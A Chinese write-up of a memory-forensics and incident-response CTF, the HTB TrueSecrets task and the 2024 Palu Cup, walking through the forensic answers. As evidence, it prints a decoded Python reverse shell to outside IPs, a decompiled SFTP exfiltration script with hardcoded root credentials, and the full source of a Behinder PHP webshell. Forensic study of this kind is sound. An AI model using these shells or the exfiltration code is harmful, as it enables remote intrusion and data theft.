前言
记录DIDCTF的内存取证题目。
一、内存取证
HTB-TrueSecrets
我们的网络犯罪小组已经对一个知名的APT(高级持续性威胁)组织进行了数月的调查。该组织对多个知名企业组织进行了高调的攻击。然而,该案件有趣的是,他们已经开发了他们自己的定制命令与控制服务器。幸运的是,我们的小组能够突袭该APT组织领导者的住所,并在计算机仍然通电的情况下对其进行了内存捕获。分析捕获的数据,尝试找到服务器的源代码。
首先查看cmdline
,发现有一个文件:backup_development.zip
然后解压出来得到了development.tc
tc的文件是由TrueCrypt加密得到的,密钥通过这个来获取:
python2 vol.py --plugin=volatility2_plugin -f C:UsersAdministratorDesktop应急响应TrueSecrets.raw --profile=Win7SP1x86_23418 truecryptpassphrase
Volatility Foundation Volatility Framework 2.6
Found at 0x89ebf064 length 28: X2Hk2XbEJqWYsh8VdbSYg6WpG9g7
然后用密钥挂载这个tc
文件:
挂载后得到:
sessions
中是三个.log.enc
文件,先打开AgentServer.cs
看看:
关键代码拿出来了,DES加密,初始向量和密钥都给了……
看看sessions
中的三个enc
文件:
# 5818acbe-68f1-4176-a2f2-8c6bcb99f9fa.log.enc
wENDQtzYcL3CKv0lnnJ4hk0JYvJVBMwTj7a4Plq8h68=
M35jHmvkY9WGlWdXo0ByOJrYhHmtC8O0rZ28CviPexkfHCFTfKUQVw==
hufGZi+isAzspq9AOs+sIwqijQL53yIJa5EVcXF3QLLwXPS1AejOWfPzJZ/wHQbBAIOxsJJIcFq0+83hkFcz+Jz9HAGl8oDianTHILnUlzl1oEc30scurf41lEg+KSu/6orcZQl3Bws=
6ySb2CBt+Z1SZ4GlB7/yL4cOS/j1whoSEqkyri0dj0juRpFBc4kqLw==
U2ltlIYcyGYnuh0P+ahTMe3t9e+TYxKwU+PGm/UsltpkanmBmWym5mDDqqQ14J/VSSgCRKXn/E+DKaxmNc9PpPOG1vZndmflMUnuTUzbiIdHBUAEOWMO8wVCufhanIdN56BhtczjrJS5HRvl9NwE/FNkLGZt6HQNSgDRzrpY0mseJHjTbkal6nh226f43X3ZihIF4sdLn7l766ZksE9JDASBi7qEotE7f0yxEbStNOZ1QPDchKVFkw==
# c65939ad-5d17-43d5-9c3a-29c6a7c31a32.log.enc
wENDQtzYcL3CKv0lnnJ4hk0JYvJVBMwTj7a4Plq8h68=
M35jHmvkY9WGlWdXo0ByOJrYhHmtC8O0eu8xtbA16kKagSu6MIFSWQ==
hufGZi+isAzspq9AOs+sI0VYrJ6o8j3e9a1tNb9m1bVwJZpRxCOxg3Vs0NdU9xNxPku+sBziVYsVaOtgWkbH9691++BUkD1BNVRMc0e69lVs2cJmQIAbnagMaJ6OQEZAAvZ/G6y57CQ=
6ySb2CBt+Z1SZ4GlB7/yL8asWs1F/wTUTOLEHO92yuzuTzdsiM5t5w==
U2ltlIYcyGYnuh0P+ahTMe3t9e+TYxKwU+PGm/UsltpkanmBmWym5mDDqqQ14J/VSSgCRKXn/E+DKaxmNc9PpPOG1vZndmflMUnuTUzbiIdHBUAEOWMO8wVCufhanIdN56BhtczjrJS5HRvl9NwE/FNkLGZt6HQNSgDRzrpY0mseJHjTbkal6nh226f43X3ZihIF4sdLn7l766ZksE9JDASBi7qEotE7f0yxEbStNOZ1QPDchKVFkw==
# de008160-66e4-4d51-8264-21cbc27661fc.log.enc
wENDQtzYcL3CKv0lnnJ4hk0JYvJVBMwTj7a4Plq8h68=
M35jHmvkY9WGlWdXo0ByOJrYhHmtC8O0hn+gLHaClb4QbACeOoSiYA==
hufGZi+isAzspq9AOs+sI/u+AS/aWPrAYd+mctDo7qEt+SpW2sELvSaxx6RRdK3vDavTsziAtb4/iCZ72v3QGh78yhY2KXZFu8qAcYdN7ltOOlg1LSrdkhjgr+CWTlvWh7A8IS7NwwI=
6ySb2CBt+Z1SZ4GlB7/yL4rJGeZ0WVaYW7N15aUsDAqzIYJWL/f0yw==
U2ltlIYcyGaSmL5xmAkEop+/f5MGUEWeWjpCTe5eStd/cg9FKp89l/EksGB90Z/hLbT44/Ur/6XL9aI27v0+SzaMFsgAeamjyYTRfLQk2fQlsRPCY/vMDj0FWRCGIZyHXCVoo4AePQB93SgQtOEkTQ2oBOeVU4X5sNQo23OcM1wrFrg8x90UOk2EzOm/IbS5BR+Wms1M2dCvLytaGCTmsUmBsATEF/zkfM2aGLytnu5+72bD99j7AiSvFDCpd1aFsogNiYYSai52YKIttjvao22+uqWMM/7Dx/meQWRCCkKm6s9ag1BFUQ==
+iTzBxkIgVWgWm/oyP/Uf6+qW+A+kMTQkouTEammirkz2efek8yfrP5l+mtFS+bWA7TCjJDK2nLAdTKssL7CrHnVW8fMvc6mJR4Ismbs/d/fMDXQeiGXCA==
分别对三个文件的内容解密:
5818acbe-68f1-4176-a2f2-8c6bcb99f9fa.log.enc
c65939ad-5d17-43d5-9c3a-29c6a7c31a32.log.enc
de008160-66e4-4d51-8264-21cbc27661fc.log.enc
HTB{570r1ng_53cr37_1n_m3m0ry_15_n07_g00d}
二、2024帕鲁杯-应急响应
首先按照比赛官方的说明手册搭建环境。
1、帕鲁杯-1
找到JumpServer堡垒机中flag标签的值。[答案格式:AbCdEf123456]
打开堡垒机网站:http://192.168.20.11
,登录进去:
随便翻找一下找到了:BrYeaVj54009rDIZzu4O
2、帕鲁杯-2
提交攻击者第一次登录时间。[答案格式:2023/11/08/23:02:56]
找到登录日志:
在里面找攻击者第一次登录时间,这个还需要点技巧。登录日志里最早的一条日志肯定是管理员登录的,那么看一下它的IP是192.168.1.4
,所以这个IP应该可以排除。
再往前翻就找到了:
提交是正确的:2024/04/11/14:21:18
3、帕鲁杯-3
提交攻击者源IP[答案格式:127.0.0.1]
这个题有点迷……
日志中登录最多的IP是:192.168.1.4
4、帕鲁杯-4
提交攻击者使用的cve编号[答案格式:CVE-2023-12345 ]
这除了去网上搜也没别的办法:
把搜到的都提交一遍,发现答案是:CVE-2024-29201
5、帕鲁杯-5
提交攻击者留在Web服务器上的恶意程序的32位小写md5值[答案格式:e10adc3949ba59abbe56e057f20f883e]
web服务器不知道密码,首先要重置密码:
https://blog.csdn.net/the_liang/article/details/129972481
重置密码后为了方便操作,我们用终端管理软件进行远程连接,但是需要进行以下操作:
1、启用网卡:ifup ens33
2、远程连接端口是222
登进去后看到,root
目录下还有个home
文件,猜测有可能是攻击者上传的恶意文件:
扔沙箱:
计算其MD5值:84413332e4e7138adc5d6f1f688ddd69
6、帕鲁杯-6
分析恶意程序连接地址和密码,格式为: md5(地址)-md5(密码) 全小写
把上个题中的home
文件用pyinstxtractor反编译成pyc,再去线上反编译把Pyc反编译成py:
先反编译palucomeyi1.pyc
:
# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.10
import os
import paramiko
from getpass import getpass
defsearch_in_files(directory, search_text):
pass
# WARNING: Decompyle incomplete
defssh(local_file_path, remote_file_path):
hostname = '82.157.238.111'
port = 22
username = 'root'
password = '1qaz@WSX3edc'
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port, username, password)
sftp = client.open_sftp()
sftp.put(local_file_path, remote_file_path)
sftp.close()
client.close()
print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')
search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)
连接地址:82.157.238.111
,MD5:e695461c231aee4ed46b201efca18ff8
密码:1qaz@WSX3edc
,MD5:7da188c2e2d83e38b7d9e75e500f1af8
7、帕鲁杯-7
提交存在反序列化漏洞的端口 [格式:端口]
这个题一开始没反应过来,只是提交端口……
那不就是web应用的端口,果断8080喽
8、帕鲁杯-8
提交攻击者使用的后门路由地址 [格式:/router/admin ]
这个谁能想到……
在JumpServer
的命令记录中,有一条:cat app.py
路由就是:/api/system
9、帕鲁杯-9
提交dnslog反弹域名 [格式:aaaa.bbbb.cn]
在WebServer的/flask/log.txt
目录下,有一个log.txt
文件,里面找到了:
提交域名0vqkht.dnslog.cn
竟然不对,再往下翻一翻:
这个是对的:0vqkht.palu.cn
10、帕鲁杯-10
提交第一次扫描器使用时间 [格式:2023/11/05/08:27:59]
在/flask/log.txt/log.txt
中看到短时间内执行了大量的ls
操作……这算什么扫描
时间:1713119219.24738
但这个是时间戳,要转成日期:2024/04/15/02:26:59
11、帕鲁杯-11
提交攻击者反弹shell使用的语言 [格式:php]
纯蒙的:python
网站就是python架构的,不是python又能是什么……
执行的命令也找到了:
12、帕鲁杯-12
提交攻击者反弹shell的ip [格式:127.0.0.1]
先提出来反弹shell的命令:
pcntl_exec('/usr/bin/python',['-c',base64_decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja
2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjgyLjE1Ny4yMzguMTc0Iiw3ODkwKSk7b3MuZHVwMih
zLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKQ=='
)]);
base64解码:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("82.157.238.174",7890));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("sh")
得到IP:82.157.238.174
13、帕鲁杯-13
提交攻击者留下的账号 [格式:admin]
直接cat /etc/passwd
palu.com
14、帕鲁杯-14
提交攻击者的后门账户密码 [格式:123456]
cat /etc/shadow
解密:
又要上特殊手断了:123123
15、帕鲁杯-15
提交测试数据条数 [格式:8]
看MySQL01虚拟机,连接它的数据库。
答案:5
16、帕鲁杯-16
请提交攻击者留下的信息 [格式:jdf_2ndiwa_12]
webserver中:
flag{hi_palu_f10g}
17、帕鲁杯-17
请提交运维服务器上的恶意文件32位小写md5
运维服务器应该指的就是JumpServer
,查看其文件传输历史,发现有一个helloworld
比较可疑:
可是去服务器上并没有找到这个文件,猜测是做了某些操作,那么看一下命令记录:
没看到做了移动或者命名的操作,那就搜索一下:
找到了,在/usr/lib/helloworld
计算其md5:0fca0f847a45401c878d7a5303ddc1f8
18、帕鲁杯-18
提交恶意文件的恶意函数 [格式:hello]
把上个题拿到的helloworld
文件用IDA逆向出源代码,分析后提交:begingame
19、帕鲁杯-19
请提交攻击者恶意注册的恶意用户条数 [格式:89]
去数据库中一通找,在ultrax
库中的pre_common_member
表中:
条数:10
20、帕鲁杯-20
看waf:
拦截了3.6k
,肯定是扫描了:2024/04/16/21:03:46
21、帕鲁杯-21
提交攻击者下载的文件 [格式:1.txt]
查看jumpserver中的文件传输记录:
只看下载的,总共也就两个文件:other_vhosts_access.log
和server.sql.gz
提交竟然都不对……
然后在waf里找到了这个:
22、帕鲁杯-22
请提交攻击者第一次下载服务器文件的时间 [格式:17/Sep/2023:11:04:22]
分析apache日志:
cat /var/log/apache2/other_vhosts_access.log.1 |grep upload.zip
可以看到最早的时间是:16/Apr/2024:09:03:52
23、帕鲁杯-23
请提交攻击者留下的冰蝎马的文件名称 [格式:hellodidctf.php]
把/var/www/html
目录拖下来扔D盾:
打开看一下,冰蝎无疑了:
名称:nidewen.php
24、帕鲁杯-24
提交冰蝎的链接密码 [格式:hello]
冰蝎的代码已经找到了:
<?php
@error_reporting(0);
session_start();
$key="1be873048db838ac";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
classC{publicfunction__invoke($p){eval($p."");}}
@call_user_func(new C(),$params);
?>
key就是:1be873048db838ac
不过这个是它的MD5,原始值是:
又要上特殊手段了:nidewen
25、帕鲁杯-25
提交办公区存在的恶意用户名 [格式:admin]
打开PC01,查看其用户账户:
恶意用户:hacker
26、帕鲁杯-26
提交恶意用户密码到期时间 [格式:2023/2/16/13:50:38]
在PC01中,执行:net user hacker
日期: 2024/5/28/21:40:37
27、帕鲁杯-27
请对办公区留存的镜像取证并指出内存疑似恶意进程 [格式:hack.exe]
查看进程:pslist
一眼就看到了.hack.ex
28、帕鲁杯-28
请指出该员工使用的公司OA平台的密码 [格式:hello123]
查看所有文件:filescan
找到了password.txt
,导出来:
密码:liuling7541
29、帕鲁杯-29
攻击者传入一个木马文件并做了权限维持,请问木马文件名是什么 [格式:hello]
查看剪贴板发现有这个文件:h4ck3d!
30、帕鲁杯-30
请提交该计算机中记录的重要联系人的家庭住址 [格式:甘肃省兰州市安宁区水挂庄6号]
扫描所有文件发现了这个:王总.contact
:
导出来:
地址:秋水省雁荡市碧波区千屿山庄1号
31、帕鲁杯-31
请提交近源靶机上的恶意文件32位小写MD5
PC02开机后就蹦出来了一个文件:
用过CS的一看就知道这是什么,计算其MD5:a7fcd0b15a080167c4c2f05063802a6e
32、帕鲁杯-32
提交恶意程序的外联地址 [格式:127.0.0.1]
扔沙箱:
地址:101.78.63.44
33、帕鲁杯-33
提交攻击者使用内网扫描工具的32位小写md5
明显说的就是fscan
……在WebServer中搜索:
计算其md5:1facdcd05c43ba4d37274dffc90b6d4e
34、帕鲁杯-34
请提交攻击者在站点上留下的后门密码 [格式:hello]
查看waf的防护日志:
密码都是123
35、帕鲁杯-35
请提交攻击者在数据库留下的信息 [格式:flag{hello} ]
连接MySQL01的数据库,在库ultrax
中的pre_ucenter_vars
表中看到了:
flag{hack_palu}
36、帕鲁杯-36
提交攻击者在监控服务器上留下的dcnlog地址 [格式:123.baidu.com]
……监控服务器指的是zabbix,访问网站:http://192.168.20.12/zabbix
登录后台,默认的账号密码:admin/zabbix
在管理 ->脚本
中找到了执行的命令:ping user.
python3.palu.dcnlog.cn
地址:palu.dcnlog.cn
37、帕鲁杯-37
提交监控服务器上恶意用户的上一次登录时间 [格式:2023/04/18/09:38:24]
zabbix的管理->用户
界面:
时间:2024/04/17/01:32:44
38、帕鲁杯-38
提交监控服务器上遗留的反弹shell地址和端口 [格式:127.0.0.1:8080]
在脚本
页面找到了一串编码:
提取出来解码看看:
# aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE1NC4xODMuMTEwLjEyIiw3ODkwKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKQ
->
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("154.183.110.12",7890));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty; pty.spawn("sh")
地址和端口:154.183.110.12:7890
39、帕鲁杯-39
提交恶意钓鱼文件的32位小写md5
在PC02上:
计算其MD5:da75025ff7f3b6baa27f5913c1c83063
40、帕鲁杯-40
提交恶意文件外连IP [格式:127.0.0.1]
41、帕鲁杯-41
提交被恶意文件钓鱼使用者的姓名 [格式:菜虚鲲]
姓名:陈琚鹭
42、帕鲁杯-42
提交攻击者留下的信息 [格式:flag{hello-didctf} ]
打开注册表直接就是这个页面:
flag{2024-04-17-hi}
43、帕鲁杯-43
提交恶意用户数量 [格式:20]
查看用户列表:
数了一下admin00-admin19
,然后dev00-dev19
,sale00-sale08
,共49个。
44、帕鲁杯-44
请提交员工集体使用的密码 [格式:Admin123]
用户目录下有个111.ps1
文件:
45、帕鲁杯-45
提交加密文件的32位小写md5
最近使用的文件中就有:
计算其MD5:2bf71a0d6d4e70cec7602da2b653e2ab
46、帕鲁杯-46
提交被攻击者加密的内容明文 [格式:hello123]
扔随波逐流:
明文:2024ispassword
47、帕鲁杯-47
请提交符合基线标准的服务器数量 [格式:49]
基线标准要求项很多的,几乎就没有符合的,直接猜0台,对了。
48、帕鲁杯-48
提交办公区的恶意文件的32位小写md5
在jumpserver中找上传的记录,再找出来往办公区上传的,经过筛选就是:artifact.exe
,geek.exe
,palucomeyi1.exe
,【通知】……
这几个
分别分析发现是palucomeyi1.exe
:
MD5是:5232a191eb2913337e0a93b0a990f2a2
49、帕鲁杯-49
提交恶意回连端口 [格式:3389]
python封装的exe,用pyinstxtractor.py
反编译出pyc,再把pyc反编译成py:
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8
import os
import paramiko
from getpass import getpass
defsearch_in_files(directory, search_text):
pass
# WARNING: Decompyle incomplete
defssh(local_file_path, remote_file_path):
hostname = '192.168.20.123'
port = 22
username = 'root'
password = 'Network@2020'
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname, port, username, password)
sftp = client.open_sftp()
sftp.put(local_file_path, remote_file_path)
sftp.close()
client.close()
print(f'''File {local_file_path} uploaded to {remote_file_path} on {hostname}''')
flag = 'flag{234567uyhgn_aiduyai}'
search_directory = '/'
search_for_text = 'passwod'
(a, b) = search_in_files(search_directory, search_for_text)
ssh(a, b)
端口:22
50、帕鲁杯-50
提交恶意程序中的flag
上个题反编译的源码里:flag{234567uyhgn_aiduyai}
51、帕鲁杯-51
提交恶意文件中的search_for_text内容
第49题中的源码:passwod
52、帕鲁杯-52
提交web服务器上攻击者修改后的root密码
原文始发于微信公众号(南有禾木):DIDCTF-内存取证与2024帕鲁杯
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论